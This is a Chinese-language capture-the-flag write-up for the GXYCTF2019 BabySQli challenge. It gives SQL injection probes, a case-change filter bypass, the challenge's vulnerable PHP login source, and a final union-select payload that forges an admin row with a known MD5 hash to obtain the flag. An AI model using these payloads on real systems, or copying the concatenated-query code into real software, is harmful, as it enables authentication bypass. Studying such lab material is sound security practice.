[GXYCTF2019]BabySQli 1

[GXYCTF2019]BabySQli 1

我们先判断注入点,发现注入点在 用户名('or 1=1-- q)

发现 or 被过滤掉,我们尝试使用大小写绕过,成功。
在这里插入图片描述

判断字段数:'OR 1=1 order by 1 – q

使用联合查询

'union select 1,2,3-- q

发现没有直接将回显返回出来

理论上来说,联合查询是不可以使用的

同时,这道题是会有返回了错误信息,是不是感觉报错注入在向自己招手?

想尝试的童鞋可以故意使用错误的sql语句看是否有错误信息回显

但痛苦的是,在本关过滤掉了 database(),最关键的是他把“()”也过滤掉了

~~>_<~~

我们只能看看源码的提示了:

在这里插入图片描述

发现是base32 编码解码后 是base64 编码
在这里插入图片描述
在这里插入图片描述

根据Base64和Base32 区别:
base64中包含大写字母(A-Z),小写字母(a-z),数字0—9以及+/;
base32中只包含大写字母(A-Z)和数字234567

解码后发现

select * from user where username = '$name'

同时,这一关利用sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

所以,如果我们使用联合查询访问,一个真实存在的用户名和一个我们自己编造的密码,就会使虚拟数据混淆admin密码,从而使我们成功登录,得到 flag

首先第一步判断回显点,利用穷举法,看页面回显判断

'union select 1,'admin',3-- q  

假如,我们输入的是’union select1,2, ‘admin’-- q

页面回显 wrong user! 但我们知道 用户名是正确的,所以只能是位置错了。

由此判断出 admin的位置

'union select 1,'admin',3-- q  

我们可以大胆猜测 是 id admin pwd

之后,无论怎办都不行

但,如果你点击这道题的出处,查看过源码的话就会明白

源码:

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
	function stripslashes_deep($value)
	{
		$value = is_array($value) ?
		array_map('stripslashes_deep', $value) :
		stripslashes($value);
		return $value;
	}

	$_POST = array_map('stripslashes_deep', $_POST);
	$_GET = array_map('stripslashes_deep', $_GET);
	$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
	$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
	die("do not hack me!");
}
else{
	if (!$result) {
		printf("Error: %s\n", mysqli_error($con));
		exit();
	}
	else{
		// echo '<pre>';
		$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}
	}
}

?>

在最后面的代码中中提到只有密码进行md5编码才会得到flag

我们构建payload

1' union select 1,'admin','202cb962ac59075b964b07152d234b70'-- q&pw=123 

在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值